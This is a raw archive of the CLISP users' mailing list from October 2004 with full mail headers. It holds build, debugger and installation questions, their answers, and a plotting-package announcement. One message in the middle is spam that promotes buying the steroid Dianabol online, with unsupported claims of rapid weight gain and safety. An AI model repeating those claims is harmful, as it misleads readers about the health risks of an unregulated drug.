14:27:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CEwpt-0005ev-Bx for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 14:27:05 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CEwps-0000ae-0J for clisp-list@lists.sourceforge.net; Tue, 05 Oct 2004 14:27:05 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8209F586E7; Tue, 5 Oct 2004 23:26:54 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6E65AFEC6; Tue, 5 Oct 2004 23:26:24 +0200 (CEST) Message-ID: <16739.4480.219563.552514@thalassa.informatimago.com> To: Subject: [clisp-list] (no subject) In-Reply-To: <20041005203349.D34ACFEE1@thalassa.informatimago.com> References: <20041005203349.D34ACFEE1@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 5 14:28:57 2004 X-Original-Date: Tue, 5 Oct 2004 23:26:24 +0200 Pascal J.Bourguignon writes: > I've got problems with load paths. Sorry, forget it, there was missing files. -- __Pascal Bourguignon__ http://www.informatimago.com/ To vote Democrat or Republican, it's like changing of cabin in the Titanic. From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 07 09:49:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CFbRr-00089o-Vj for clisp-list@lists.sourceforge.net; Thu, 07 Oct 2004 09:49:00 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CFbRg-0000Mr-Co for clisp-list@lists.sourceforge.net; Thu, 07 Oct 2004 09:48:59 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 7 Oct 2004 18:48:37 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4G00PV0G>; Thu, 7 Oct 2004 18:47:04 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301CAA2A4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Subject: [clisp-list] RFE: use-value restart should evaluate input Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 7 09:49:33 2004 X-Original-Date: Thu, 7 Oct 2004 18:47:04 +0200 Hi, The use-value restart may have its uses, but 1. I find it inconsistent with the REP loop. 2. It currently obliges people to use #.forms for every non trivial input. 3. #. is not familiar to novices, but I hope novices are interested in the features of the debugger. I recommend that EVAL be used on top of the user input, avoiding the need for #. Please look at this sample session: [9]> (package-name 123) *** - PACKAGE-NAME: argument should be a package or a package name, not 123 The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. ABORT :R2 ABORT Break 1 [10]> *package* # Break 1 [10]> use-value Use instead: *package* *** - PACKAGE-NAME: There is no package with name "*PACKAGE*" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. ABORT :R2 ABORT Break 1 [11]> use-value Use instead: #.*package* "COMMON-LISP-USER" [12]> Cost of change to users: List input and symbols need be quoted, strings remain as is. The change would provide other advantages typical of the REPL: [12]> (package-name 123) *** - PACKAGE-NAME: argument should be a package or a package name, not 123 The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. ABORT :R2 ABORT Break 1 [13]> (find-package"KEYWORD") # Break 1 [13]> use-value Use instead: #.(print *) -- here we could then input * instead to use a result computed in the REPL # "KEYWORD" [14]> Regards, Jorg Hohle From ravi_k_sinha@yahoo.com Sat Oct 09 10:31:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CGL4Q-0002C6-0d for clisp-list@lists.sourceforge.net; Sat, 09 Oct 2004 10:31:50 -0700 Received: from web60902.mail.yahoo.com ([216.155.196.78]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CGL4N-0003ZS-J5 for clisp-list@lists.sourceforge.net; Sat, 09 Oct 2004 10:31:49 -0700 Message-ID: <20041009173141.49317.qmail@web60902.mail.yahoo.com> Received: from [202.141.136.155] by web60902.mail.yahoo.com via HTTP; Sat, 09 Oct 2004 10:31:41 PDT From: Ravi Sinha To: clisp-list@lists.sf.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] FAQ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 9 10:36:42 2004 X-Original-Date: Sat, 9 Oct 2004 10:31:41 -0700 (PDT) Hi, I have recently installed CLISP on my Desktop. I want to move the installation to some more suitable directory and uninstall from AllUsers\Desktop on Win 2K. Please suggest as to how I can uninstall. Thank you. Ravi Sinha __________________________________ Do you Yahoo!? Yahoo! Mail Address AutoComplete - You start. We finish. http://promotions.yahoo.com/new_mail From jan.saenz_nl@heslegrave.dk Sun Oct 10 15:28:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CGmAv-0002PH-DP for clisp-list@lists.sourceforge.net; Sun, 10 Oct 2004 15:28:21 -0700 Received: from bzq-218-103-4.red.bezeqint.net ([81.218.103.4] helo=cattles.co.uk) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CGmAl-0004bD-OW for clisp-list@lists.sourceforge.net; Sun, 10 Oct 2004 15:28:21 -0700 Received: from 210.67.239.255 by smtp.heslegrave.dk; Sun, 10 Oct 2004 22:21:16 +0000 Message-ID: From: "Jan Saenz" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [81.218.103.4 listed in dnsbl.sorbs.net] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [81.218.103.4 listed in combined.njabl.org] Subject: [clisp-list] Purchase steroids online Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 10 15:33:10 2004 X-Original-Date: Sun, 10 Oct 2004 15:20:57 -0700 Hi! The steroid dianobol a.k.a. Anabol has a very strong androgenic and anabolic effect which manifests itself in an enormous build up of strength and muscle mass. Dianabol is simply a mass building steroid that works quickly and reliably. A weight gain of 2 -4 pounds per week in the first six weeks is normal. Ordering from our online shop is private, secure and safe... and much cheaper than other alternatives. Go here: http://thuroebian.info/st/?wid=200014 No thanks: http://thuroebian.info/nomore.html From janmar@iprimus.com.au Sun Oct 10 20:35:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CGqxl-0007jL-Lx for clisp-list@lists.sourceforge.net; Sun, 10 Oct 2004 20:35:05 -0700 Received: from smtp01.syd.iprimus.net.au ([210.50.30.196]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CGqxk-0007xb-9z for clisp-list@lists.sourceforge.net; Sun, 10 Oct 2004 20:35:05 -0700 Received: from laptop.lan (210.50.172.112) by smtp01.syd.iprimus.net.au (7.0.031.3) id 416938850003668C for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 13:35:01 +1000 To: clisp-list@lists.sourceforge.net From: jan Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] compiling on mingw Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 10 21:36:24 2004 X-Original-Date: Mon, 11 Oct 2004 15:52:53 +1000 Hi all, I can't build clisp with mingw on Windows. I get the following error during configuration: checking for ioctl declaration... *** Missing autoconfiguration support for this platform. *** Please report this as a bug to the CLISP developers. *** When doing this, please also show your system's ioctl() declaration. AFAICT mingw doesn't have the sys/ioctl.h file. Is this a problem with clisp or my cygwin install? Some more info: I'm using the cvs version of clisp and have successfully built under cygwin without the --with-mingw option. However, I'm linking in an SDL module and when I create windows via SDL they are dead on arrival (they don't respond to events). SDL builds with the -mno-cygwin option so I think this might be a cygwin/mingw compatibility problem which is why I'd like to try building clisp via mingw. -- jan From steve@datoura.org Sun Oct 10 22:49:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CGt3o-000353-F7 for clisp-list@lists.sourceforge.net; Sun, 10 Oct 2004 22:49:28 -0700 Received: from mail07.powweb.com ([66.152.97.40]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CGt3E-0005n6-Id for clisp-list@lists.sourceforge.net; Sun, 10 Oct 2004 22:49:28 -0700 Received: from webmail.datoura.org (powweb02.powweb.com [66.152.97.134]) by mail07.powweb.com (Postfix) with ESMTP id D180314DA04 for ; Sun, 10 Oct 2004 22:49:01 -0700 (PDT) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 From: "Steve Eichblatt" To: "clisp-list" X-Mailer: PowWeb Hosting Webmail version 3.0 Message-Id: <20041011054901.D180314DA04@mail07.powweb.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] graphics and data plotting package for Common Lisp. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 10 22:53:49 2004 X-Original-Date: Mon, 11 Oct 2004 05:48:57 -0000 I moved from Mathematica to Common Lisp (via Maxima) and I missed the nice graphics packages of Mathematica. So I set out to create a graphics package as an exercise to learn Common Lisp. I borrowed the syntax from Mathematica and other programs I've liked. I borrowed the idea for creating postscript graphics from chapter 12 of Steele's book. After 6 months, the program has turned out pretty well and am very glad to have learned some Common Lisp. The package is called "datoura". It is open source and version 1.0 (~60 kBytes) is available at http://www.datoura.org The package features basic graphics primitives (text, line, point, polygon...) and plots (histogram, scatter-plot, bar-graph ...) and data table loading and manipulation (csv-import, subsetting, grouping, statistics). The graphics and plot routines handle sequences as input data, so you don't need to load your data into any custom data structures to use them. Datoura can handle plots of ~1 million data points fairly quickly, superimpose multiple plots, use multiple axes and draw legends. It comes with a couple of example files and minimal documentation. The program was developed in CLisp on Linux. I have also tested it with cygwin (CLisp), visualCLisp and gcl in Linux (where it works with less features). It hasn't been extensively tested against weird cases but the examples work. If you try it out, I would be happy to know how it works for you. Steve Eichblatt From rurban@x-ray.at Mon Oct 11 07:06:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CH0p8-0004XI-Fo for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:06:50 -0700 Received: from smartmx-04.inode.at ([213.229.60.36]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CH0nz-0004Dz-0k for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:06:50 -0700 Received: from [62.99.252.218] (port=62205 helo=[192.168.0.2]) by smartmx-04.inode.at with esmtp (Exim 4.30) id 1CH0nu-0001zD-Ly; Mon, 11 Oct 2004 16:05:34 +0200 Message-ID: <416A932D.4050105@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: jan CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compiling on mingw References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 11 07:09:15 2004 X-Original-Date: Mon, 11 Oct 2004 16:05:33 +0200 jan schrieb: > I'm using the cvs version of clisp and have successfully built under > cygwin without the --with-mingw option. However, I'm linking in an SDL > module and when I create windows via SDL they are dead on arrival > (they don't respond to events). SDL builds with the -mno-cygwin option > so I think this might be a cygwin/mingw compatibility problem which is > why I'd like to try building clisp via mingw. Have you tried using SDL under cygwin? I (any probably many others) would need that also, but I had no time yet. There's a cygwin FAQ entry how to do that sort of thing. http://www.cygwin.com/faq/faq_3.html#SEC100 -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Mon Oct 11 07:26:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CH18J-0000sT-Rl for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:26:39 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CH17J-0004tT-W1 for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:26:39 -0700 X-Info: This message was accepted for relay by smtp04.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: gl3uYDGLCWGTxJnyohtRwMhEPBc2PqKA9AzdxMbkpbk= Received: from [198.112.236.6] (helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtpa (Exim 4.42 #5) id 1CH17H-0002tL-NS; Mon, 11 Oct 2004 10:25:36 -0400 To: clisp-list@lists.sourceforge.net, jan Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (jan's message of "Mon, 11 Oct 2004 15:52:53 +1000") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, jan Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: compiling on mingw Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 11 07:28:36 2004 X-Original-Date: Mon, 11 Oct 2004 10:25:33 -0400 > * jan [2004-10-11 15:52:53 +1000]: > > I can't build clisp with mingw on Windows. I get the following error > during configuration: > > checking for ioctl declaration... > *** Missing autoconfiguration support for this platform. > *** Please report this as a bug to the CLISP developers. > *** When doing this, please also show your system's ioctl() declaration. you did not tell us how you built CLISP. the following WFM: $ ./configure --with-mingw --with-module=syscalls --build build-O-mingw -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# From sds@gnu.org Mon Oct 11 07:29:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CH1Ah-0001U1-9b for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:29:07 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CH19L-0005N7-Sp for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:29:07 -0700 X-Info: This message was accepted for relay by smtp04.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: fnvlpnf1j5Y1YVmzZDKDqPQGyp9I+Kko0ft1BWvgvH0= Received: from [198.112.236.6] (helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtpa (Exim 4.42 #5) id 1CH19L-000391-4l; Mon, 11 Oct 2004 10:27:43 -0400 To: clisp-list@lists.sourceforge.net, Ravi Sinha Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041009173141.49317.qmail@web60902.mail.yahoo.com> (Ravi Sinha's message of "Sat, 9 Oct 2004 10:31:41 -0700 (PDT)") References: <20041009173141.49317.qmail@web60902.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ravi Sinha Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain Subject: [clisp-list] Re: FAQ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 11 07:32:18 2004 X-Original-Date: Mon, 11 Oct 2004 10:27:41 -0400 > * Ravi Sinha [2004-10-09 10:31:41 -0700]: > > I have recently installed CLISP on my Desktop. > I want to move the installation to some more > suitable directory and uninstall from AllUsers\Desktop > on Win 2K. > Please suggest as to how I can uninstall. just delete the CLISP directory and you are all set. -- Sam Steingold (http://www.podval.org/~sds) running w2k If a train station is a place where a train stops, what's a workstation? ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# From sds@gnu.org Mon Oct 11 07:53:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CH1Y3-0007P4-3r for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:53:15 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CH1XB-0006NB-Kr for clisp-list@lists.sourceforge.net; Mon, 11 Oct 2004 07:53:14 -0700 X-Info: This message was accepted for relay by smtp04.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: AgRZ5iT5zLSkNIkKDL6RX4UozoJg0+VYWfqMZY6x5rY= Received: from [198.112.236.6] (helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtpa (Exim 4.42 #5) id 1CH1XA-0006Eo-SA; Mon, 11 Oct 2004 10:52:20 -0400 To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301CAA2A4@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 7 Oct 2004 18:47:04 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301CAA2A4@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: RFE: use-value restart should evaluate input Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 11 07:55:38 2004 X-Original-Date: Mon, 11 Oct 2004 10:52:17 -0400 > * Hoehle, Joerg-Cyril [2004-10-07 18:47:04 +0200]: > > 1. I find it inconsistent with the REP loop. > 2. It currently obliges people to use #.forms for every non trivial input. > 3. #. is not familiar to novices, but I hope novices are interested in > the features of the debugger. I thought of evaluating the user input but decided against it. I don't remember why. What do other lisps do? -- Sam Steingold (http://www.podval.org/~sds) running w2k Even Windows doesn't suck, when you use Common Lisp From ehildret@firstclass.wellesley.edu Tue Oct 12 07:52:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHO1F-0001v5-Ee for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 07:52:53 -0700 Received: from cliff.wellesley.edu ([149.130.13.51]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CHNzw-0003YF-M8 for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 07:52:53 -0700 Received: from firstclass.wellesley.edu (firstclass.wellesley.edu [149.130.13.40]) by cliff.wellesley.edu (8.12.11/8.12.11) with ESMTP id i9CEpQRj020306 for ; Tue, 12 Oct 2004 10:51:26 -0400 (EDT) (envelope-from ehildret@firstclass.wellesley.edu) Message-id: To: clisp-list@lists.sourceforge.net From: "Ellen C. Hildreth" MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by cliff.wellesley.edu id i9CEpQRj020306 X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] segmentation faults Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 12 07:53:32 2004 X-Original-Date: Tue, 12 Oct 2004 10:51:25 -0400 Hi, I=92m using clisp on Linux workstations (running RedHat) for an AI class, and we sometimes encounter a segmentation fault. The code runs ok in other CommonLISP environments. When we get a segmentation fault, it often continues to recur in the same login session. Sometimes, we can log out of the machine and log back=20 in and clisp (and the code) runs fine without the segmentation fault occurring again. But sometimes it persists with a particular code file even when we move to another machine (a code file that runs fine in another LISP environment). Do you have any suggestions about how to deal with this problem? Thanks, Ellen Hildreth From sds@gnu.org Tue Oct 12 09:50:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHPr3-0004Fx-J9 for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 09:50:29 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CHPr2-0005yh-Mn for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 09:50:29 -0700 X-Info: This message was accepted for relay by smtp04.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: 